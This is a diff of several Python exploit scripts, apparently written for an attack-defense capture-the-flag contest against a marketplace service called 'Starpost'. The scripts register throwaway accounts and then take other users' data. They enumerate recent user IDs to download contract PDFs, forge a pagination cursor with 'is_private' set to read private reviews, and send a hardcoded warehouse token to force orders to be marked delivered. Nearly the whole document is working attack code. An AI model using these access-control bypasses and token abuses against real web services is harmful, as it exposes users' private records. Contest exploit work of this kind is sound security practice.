for name, value in headers: for name, value in headers:
if name.lower() == "set-cookie": if name.lower() == "set-cookie":
cookies.load(value) cookies.load(value)
if "session" not in cookies: if "session" not in cookies:
raise ValueError("registration did not return a session") raise ValueError("registration did not return a session")
return int(data["id"]), cookies["session"].value return user_id, cookies["session"].value
def pdf_literal_strings(document: bytes) -> list[bytes]:
strings: list[bytes] = []
size = len(document)
offset = 0
escapes = {
ord("n"): ord("\n"),
ord("r"): ord("\r"),
ord("t"): ord("\t"),
ord("b"): ord("\b"),
ord("f"): ord("\f"),
}
while offset < size:
start = document.find(b"(", offset)
if start < 0:
break
offset = start + 1
depth = 1
value = bytearray()
while offset < size and depth:
current = document[offset]
if current == ord("\\"):
offset += 1
if offset >= size:
break
escaped = document[offset]
if escaped in (ord("\r"), ord("\n")):
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
offset += 1
offset += 1
continue
if ord("0") <= escaped <= ord("7"):
end = offset + 1
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
end += 1
value.append(int(document[offset:end], 8) & 0xFF)
offset = end
continue
value.append(escapes.get(escaped, escaped))
elif current == ord("("):
depth += 1
value.append(current)
elif current == ord(")"):
depth -= 1
if depth:
value.append(current)
else:
value.append(current)
offset += 1
if depth == 0:
strings.append(bytes(value))
return strings
def extract_flags(document: bytes) -> set[bytes]:
fragments = pdf_literal_strings(document)
flags = set(FLAG_PATTERN.findall(document))
for fragment in fragments:
flags.update(FLAG_PATTERN.findall(fragment))
for left, right in zip(fragments, fragments[1:]):
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
return flags
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]: def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
@@ -136,25 +211,31 @@ def collect_contract(target: str, user_id: int, cookie: str, deadline: float) ->
) )
except (OSError, TimeoutError, URLError, ValueError): except (OSError, TimeoutError, URLError, ValueError):
return set(), True return set(), True
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False return (extract_flags(body) if status == 200 else set()), False
def run_exploit(raw_target: str) -> tuple[list[str], int, int]: def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
target = build_target(raw_target) target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT deadline = time.monotonic() + RUN_TIMEOUT
newest, cookie = register(target, deadline) newest, cookie = register(target, deadline)
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest) oldest = max(1, newest - RECENT_USER_WINDOW)
flags: set[bytes] = set() user_ids = range(newest - 1, oldest - 1, -1)
flags: set[str] = set()
errors = 0 errors = 0
checked = 0 checked = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids] futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
for future in concurrent.futures.as_completed(futures): for future in concurrent.futures.as_completed(futures):
found, failed = future.result() found, failed = future.result()
flags.update(found) for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
errors += int(failed) errors += int(failed)
checked += 1 checked += 1
return sorted(flag.decode("ascii") for flag in flags), checked, errors return sorted(flags), checked, errors
def main() -> int: def main() -> int:
@@ -162,13 +243,11 @@ def main() -> int:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2 return 2
try: try:
flags, checked, errors = run_exploit(sys.argv[1]) flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc: except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr) print(f"request failed: {exc}", file=sys.stderr)
return 1 return 1
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr) print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
if flags:
print("\n".join(flags), flush=True)
return 0 return 0
+253
View File
@@ -0,0 +1,253 @@
#!/usr/bin/env python3
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
Neo passes one target address. Only event-format flags are written to stdout.
This script uses public registration and the buyer's own promo; it needs no
service secret, warehouse token, or Skipper credential.
"""
from __future__ import annotations
import json
import re
import secrets
import signal
import sys
import time
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
SERVICE_PORT = 8090
RUN_TIMEOUT = 8.5
REQUEST_TIMEOUT = 1.2
MAX_RESPONSE = 512 * 1024
MAX_BUYS = 2
MAX_BUY_ATTEMPTS = 3
MAX_ORDER_POLLS = 5
POLL_INTERVAL = 0.3
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
# In particular, do not follow a redirect to an unrelated host or use a
# workstation HTTP proxy instead of the contest VPN route.
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def build_target(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected HTTP(S) target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must contain only a host and optional port")
if parsed.query or parsed.fragment:
raise ValueError("target must not contain query or fragment")
port = parsed.port or SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request_json(
target: str,
path: str,
deadline: float,
*,
method: str = "GET",
payload: dict | None = None,
cookie: str | None = None,
) -> tuple[int, object, str | None]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie is not None:
headers["Cookie"] = f"session={cookie}"
req = Request(target + path, data=body, headers=headers, method=method)
try:
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
except HTTPError as exc:
response = exc
with response:
raw = response.read(MAX_RESPONSE + 1)
if len(raw) > MAX_RESPONSE:
raise ValueError("response too large")
cookies = SimpleCookie()
for header in response.headers.get_all("Set-Cookie", []):
cookies.load(header)
session = cookies["session"].value if "session" in cookies else None
try:
data = json.loads(raw)
except (UnicodeDecodeError, json.JSONDecodeError):
raise ValueError("invalid JSON response") from None
return response.status, data, session
def scan_flags(value: object) -> set[str]:
# Only a delivered order's cargo is read here; avoid printing whole JSON.
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
def candidates(products: object) -> list[tuple[int, int]]:
if not isinstance(products, list):
raise ValueError("products response is not a list")
found = []
seen = set()
for product in products:
if not isinstance(product, dict):
continue
product_id, price = product.get("id"), product.get("price")
if (
isinstance(product_id, int)
and not isinstance(product_id, bool)
and product_id > 0
and isinstance(price, int)
and not isinstance(price, bool)
and 0 < price <= 200
and product_id not in seen
):
found.append((product_id, price))
seen.add(product_id)
return found
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
status, products, _ = request_json(target, "/api/products", deadline)
if status != 200:
raise ValueError(f"catalog returned HTTP {status}")
available = candidates(products)
if not available:
return [], 0, 0
marker = secrets.token_hex(8)
status, _, cookie = request_json(
target,
"/api/register",
deadline,
method="POST",
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
)
if status != 201 or not cookie:
raise ValueError(f"buyer registration returned HTTP {status}")
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
if status != 200 or not isinstance(account, dict):
raise ValueError(f"account returned HTTP {status}")
promo = account.get("promo")
user = account.get("user")
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("buyer promo missing")
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
raise ValueError("buyer balance missing")
budget = user["balance"]
status, credit, _ = request_json(
target,
"/api/promo/credit",
deadline,
method="POST",
payload={"code": promo["code"]},
cookie=cookie,
)
if status != 200 or not isinstance(credit, dict):
raise ValueError(f"promo credit returned HTTP {status}")
credited = credit.get("credited")
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
raise ValueError("invalid credited amount")
budget += credited
bought_ids: set[int] = set()
buy_attempts = 0
for product_id, price in available:
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
break
if price > budget:
continue
buy_attempts += 1
status, order, _ = request_json(
target,
f"/api/products/{product_id}/buy",
deadline,
method="POST",
payload={},
cookie=cookie,
)
if status != 201 or not isinstance(order, dict):
continue
order_id = order.get("id")
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
bought_ids.add(order_id)
budget -= price
flags: set[str] = set()
polls = 0
for poll in range(MAX_ORDER_POLLS):
if not bought_ids or time.monotonic() >= deadline:
break
if poll:
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
polls += 1
if status != 200 or not isinstance(orders, list):
break
delivered = set()
for order in orders:
if not isinstance(order, dict):
continue
order_id = order.get("id")
if not isinstance(order_id, int) or order_id not in bought_ids:
continue
if order.get("status") == "delivered":
delivered.add(order_id)
flags.update(scan_flags(order.get("cargo")))
if delivered == bought_ids:
break
return sorted(flags), len(bought_ids), polls
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
def hard_timeout(_signum, _frame):
raise TimeoutError("run deadline exceeded")
# A slow-drip HTTP response can keep an individual socket read alive past
# its timeout. Neo runs this as a Linux child process; bound the whole run.
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
try:
flags, bought, polls = run_exploit(sys.argv[1])
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, previous_handler)
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
if flags:
print("\n".join(flags), flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+216
View File
@@ -0,0 +1,216 @@
#!/usr/bin/env python3
from __future__ import annotations
import base64
import concurrent.futures
import json
import re
import secrets
import sys
import time
from http.client import HTTPException
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 1.0
RUN_TIMEOUT = 8.5
MAX_RESPONSE = 32 * 1024
RECENT_USER_WINDOW = 20
MAX_WORKERS = 4
PAGE_SIZE = 3
FIRST_REVIEW_ID = 1_000_000_000
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_target(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port
if port is None:
port = 443 if parsed.scheme == "https" else SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(
target: str,
method: str,
path: str,
deadline: float,
payload: dict | None = None,
cookie: str | None = None,
) -> tuple[int, list[tuple[str, str]], bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-reviews/1.0"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
req = Request(target + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, list(response.headers.items()), data
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return exc.code, list(exc.headers.items()), data
def register_seller(target: str, deadline: float) -> tuple[int, str]:
marker = secrets.token_hex(8)
status, headers, raw = request(
target,
"POST",
"/api/register",
deadline,
payload={
"username": f"reviews-{marker}",
"password": secrets.token_urlsafe(18),
"role": "seller",
"company_name": f"reviews-{marker}",
"tax_id": marker,
"signature": "synthetic-probe",
},
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
response = json.loads(raw)
if not isinstance(response, dict) or isinstance(response.get("id"), bool):
raise ValueError("registration returned an invalid user id")
try:
user_id = int(response["id"])
except (KeyError, TypeError, ValueError) as exc:
raise ValueError("registration returned an invalid user id") from exc
if user_id < 1:
raise ValueError("registration returned an invalid user id")
cookies = SimpleCookie()
for name, value in headers:
if name.lower() == "set-cookie":
cookies.load(value)
if "session" not in cookies:
raise ValueError("registration did not return a session")
return user_id, cookies["session"].value
def make_cursor(seller_id: int, last_id: int) -> str:
state = {
"seller_id": seller_id,
"is_private": True,
"last_id": last_id,
"v": 2,
}
raw = json.dumps(state, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
def collect_reviews(target: str, seller_id: int, cookie: str, deadline: float) -> tuple[set[bytes], int, bool]:
flags: set[bytes] = set()
try:
cursor = make_cursor(seller_id, FIRST_REVIEW_ID)
status, _, raw = request(
target,
"GET",
f"/api/seller/reviews?limit={PAGE_SIZE}&cursor={cursor}",
deadline,
cookie=cookie,
)
if status != 200:
return flags, 1, status != 400
response = json.loads(raw)
rows = response.get("reviews") if isinstance(response, dict) else None
if not isinstance(rows, list):
return flags, 1, True
for row in rows:
if not isinstance(row, dict) or row.get("is_private") is not True:
continue
review_body = row.get("body")
if isinstance(review_body, str):
flags.update(FLAG_PATTERN.findall(review_body.encode()))
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError):
return flags, 1, True
return flags, 1, False
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
newest, cookie = register_seller(target, deadline)
oldest = max(1, newest - RECENT_USER_WINDOW)
seller_ids = range(newest - 1, oldest - 1, -1)
flags: set[str] = set()
checked = 0
requests_made = 0
errors = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [
pool.submit(collect_reviews, target, seller_id, cookie, deadline)
for seller_id in seller_ids
]
for future in concurrent.futures.as_completed(futures):
found, request_count, failed = future.result()
requests_made += request_count
errors += int(failed)
checked += 1
for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
if checked and errors == checked:
raise OSError("all review requests failed")
return sorted(flags), checked, requests_made, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
flags, checked, requests_made, errors = run_exploit(
sys.argv[1], lambda candidate: print(candidate, flush=True)
)
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(
f"checked={checked} requests={requests_made} request_errors={errors} flags={len(flags)}",
file=sys.stderr,
)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+243
View File
@@ -0,0 +1,243 @@
#!/usr/bin/env python3
from __future__ import annotations
import json
import re
import secrets
import sys
import time
from http.client import HTTPException
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 1.5
RUN_TIMEOUT = 8.0
MAX_RESPONSE = 512 * 1024
MAX_PRICE = 200
DELIVERY_POLLS = 4
POLL_INTERVAL = 0.3
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_target(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port
if port is None:
port = 443 if parsed.scheme == "https" else SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(
target: str,
method: str,
path: str,
deadline: float,
payload: dict | None = None,
cookie: str | None = None,
) -> tuple[int, list[tuple[str, str]], bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-signup/1.0"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
req = Request(target + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, list(response.headers.items()), data
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return exc.code, list(exc.headers.items()), data
def get_json(
target: str,
method: str,
path: str,
deadline: float,
payload: dict | None = None,
cookie: str | None = None,
) -> tuple[int, list[tuple[str, str]], object, bytes]:
status, headers, raw = request(target, method, path, deadline, payload, cookie)
try:
decoded = json.loads(raw)
except json.JSONDecodeError as exc:
raise ValueError(f"{path} returned invalid JSON") from exc
return status, headers, decoded, raw
def select_product(target: str, deadline: float) -> tuple[int, int] | None:
status, _, response, _ = get_json(target, "GET", "/api/products", deadline)
if status != 200 or not isinstance(response, list):
raise ValueError(f"products endpoint returned HTTP {status}")
for product in response:
if not isinstance(product, dict):
continue
try:
product_id = int(product["id"])
price = int(product["price"])
except (KeyError, TypeError, ValueError):
continue
if isinstance(product.get("id"), bool) or isinstance(product.get("price"), bool):
continue
if product_id > 0 and 1 <= price <= MAX_PRICE:
return product_id, price
return None
def register_buyer(target: str, deadline: float) -> str:
marker = secrets.token_hex(8)
status, headers, _, _ = get_json(
target,
"POST",
"/api/register",
deadline,
payload={
"username": f"signup-{marker}",
"password": secrets.token_urlsafe(18),
"role": "buyer",
},
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
cookies = SimpleCookie()
for name, value in headers:
if name.lower() == "set-cookie":
cookies.load(value)
if "session" not in cookies:
raise ValueError("registration did not return a session")
return cookies["session"].value
def obtain_credit(target: str, cookie: str, deadline: float) -> None:
status, _, response, _ = get_json(target, "GET", "/api/account", deadline, cookie=cookie)
if status != 200 or not isinstance(response, dict):
raise ValueError(f"account endpoint returned HTTP {status}")
promo = response.get("promo")
code = promo.get("code") if isinstance(promo, dict) else None
if not isinstance(code, str) or not code:
raise ValueError("promo code missing")
status, _, _, _ = get_json(
target,
"POST",
"/api/promo/credit",
deadline,
payload={"code": code},
cookie=cookie,
)
if status != 200:
raise ValueError(f"promo endpoint returned HTTP {status}")
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
status, _, response, _ = get_json(
target,
"POST",
f"/api/products/{product_id}/buy",
deadline,
payload={},
cookie=cookie,
)
if status != 201 or not isinstance(response, dict):
raise ValueError(f"purchase endpoint returned HTTP {status}")
try:
order_id = int(response["id"])
except (KeyError, TypeError, ValueError) as exc:
raise ValueError("purchase returned an invalid order id") from exc
return order_id
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> set[bytes]:
for _ in range(DELIVERY_POLLS):
remaining = deadline - time.monotonic()
if remaining <= 0:
break
time.sleep(min(POLL_INTERVAL, remaining))
try:
status, _, response, _ = get_json(target, "GET", "/api/orders", deadline, cookie=cookie)
except (OSError, TimeoutError, URLError, HTTPException, ValueError):
continue
if status != 200 or not isinstance(response, list):
continue
for order in response:
if not isinstance(order, dict):
continue
try:
current_id = int(order["id"])
except (KeyError, TypeError, ValueError):
continue
cargo = order.get("cargo")
if current_id == order_id and order.get("status") == "delivered" and isinstance(cargo, str):
return set(FLAG_PATTERN.findall(cargo.encode()))
return set()
def run_exploit(raw_target: str) -> tuple[list[str], int | None, int | None]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
selected = select_product(target, deadline)
if selected is None:
return [], None, None
product_id, price = selected
cookie = register_buyer(target, deadline)
obtain_credit(target, cookie, deadline)
order_id = buy_product(target, product_id, cookie, deadline)
flags = sorted(flag.decode("ascii") for flag in collect_order(target, order_id, cookie, deadline))
return flags, product_id, price
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
flags, product_id, price = run_exploit(sys.argv[1])
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
if product_id is None:
print("no active product within the 200-credit signup budget", file=sys.stderr)
return 0
for candidate in flags:
print(candidate, flush=True)
print(f"product={product_id} price={price} flags={len(flags)}", file=sys.stderr)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+81 -28
View File
@@ -5,8 +5,10 @@ from __future__ import annotations
import concurrent.futures import concurrent.futures
import json import json
import math import math
import re
import secrets import secrets
import sys import sys
import time
from http.cookies import SimpleCookie from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit from urllib.parse import urlsplit, urlunsplit
@@ -14,11 +16,14 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http" TARGET_SCHEME = "http"
SERVICE_PORT = 8090 SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0 REQUEST_TIMEOUT = 1.5
MAX_RESPONSE = 128 * 1024 TOTAL_TIMEOUT = 8.5
MAX_PRODUCTS = 8 MAX_RESPONSE = 512 * 1024
MAX_CREDITS = 100 MAX_PRODUCTS = 5
MAX_CREDITS = 24
MAX_WORKERS = 8 MAX_WORKERS = 8
GET_RETRIES = 1
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
CALLBACK_TOKEN = "starpost-warehouse-callback-token" CALLBACK_TOKEN = "starpost-warehouse-callback-token"
@@ -46,7 +51,15 @@ def build_base_url(target: str) -> str:
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False): def request(
base: str,
path: str,
method: str = "GET",
payload=None,
cookie: str | None = None,
warehouse=False,
deadline: float | None = None,
):
body = json.dumps(payload).encode() if payload is not None else None body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"} headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
if body is not None: if body is not None:
@@ -55,25 +68,40 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
headers["Cookie"] = f"session={cookie}" headers["Cookie"] = f"session={cookie}"
if warehouse: if warehouse:
headers["X-Warehouse-Token"] = CALLBACK_TOKEN headers["X-Warehouse-Token"] = CALLBACK_TOKEN
attempts = GET_RETRIES + 1 if method == "GET" else 1
for attempt in range(attempts):
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("overall deadline exceeded")
req = Request(base + path, data=body, headers=headers, method=method) req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects()) opener = build_opener(NoRedirects())
try: try:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response: with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
data = response.read(MAX_RESPONSE + 1) data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE: if len(data) > MAX_RESPONSE:
raise ValueError("response too large") raise ValueError("response too large")
return response.status, data, response.headers return response.status, data, response.headers
except HTTPError as exc: except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE), exc.headers data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
continue
return exc.code, data, exc.headers
except (URLError, TimeoutError, OSError):
if attempt + 1 >= attempts:
raise
raise TimeoutError("request attempts exhausted")
def register_buyer(base: str) -> str: def register_buyer(base: str, deadline: float) -> str:
marker = secrets.token_hex(8) marker = secrets.token_hex(8)
status, _, headers = request( status, _, headers = request(
base, base,
"/api/register", "/api/register",
method="POST", method="POST",
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"}, payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
deadline=deadline,
) )
if status != 201: if status != 201:
raise ValueError(f"registration returned HTTP {status}") raise ValueError(f"registration returned HTTP {status}")
@@ -84,34 +112,57 @@ def register_buyer(base: str) -> str:
return jar["session"].value return jar["session"].value
def credit(base: str, cookie: str, code: str) -> bool: def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie) status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
return status == 200 return status == 200
def buy(base: str, cookie: str, product_id: int): def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie) status, _, _ = request(
base,
"/api/cart",
method="POST",
payload={"product_id": product_id},
cookie=cookie,
deadline=deadline,
)
return status == 201
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
if status != 201: if status != 201:
return None return []
data = json.loads(raw) data = json.loads(raw)
return int(data["id"]) orders = data.get("orders") if isinstance(data, dict) else None
if not isinstance(orders, list):
return []
order_ids = []
for order in orders:
try:
order_ids.append(int(order["id"]))
except (KeyError, TypeError, ValueError):
continue
return order_ids
def deliver(base: str, order_id: int) -> bool: def deliver(base: str, order_id: int, deadline: float) -> bool:
status, _, _ = request( status, _, _ = request(
base, base,
"/api/warehouse/callback", "/api/warehouse/callback",
method="POST", method="POST",
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"}, payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
warehouse=True, warehouse=True,
deadline=deadline,
) )
return status == 200 return status == 200
def run_exploit(target: str) -> str: def run_exploit(target: str) -> str:
deadline = time.monotonic() + TOTAL_TIMEOUT
base = build_base_url(target) base = build_base_url(target)
cookie = register_buyer(base) cookie = register_buyer(base, deadline)
status, raw, _ = request(base, "/api/account", cookie=cookie) status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
if status != 200: if status != 200:
raise ValueError(f"account endpoint returned HTTP {status}") raise ValueError(f"account endpoint returned HTTP {status}")
account = json.loads(raw) account = json.loads(raw)
@@ -119,7 +170,7 @@ def run_exploit(target: str) -> str:
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str): if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("promo code missing") raise ValueError("promo code missing")
status, raw, _ = request(base, "/api/products") status, raw, _ = request(base, "/api/products", deadline=deadline)
if status != 200: if status != 200:
raise ValueError(f"products endpoint returned HTTP {status}") raise ValueError(f"products endpoint returned HTTP {status}")
products = json.loads(raw) products = json.loads(raw)
@@ -143,26 +194,27 @@ def run_exploit(target: str) -> str:
required_credits = max(0, math.ceil((total - 100) / 100)) required_credits = max(0, math.ceil((total - 100) / 100))
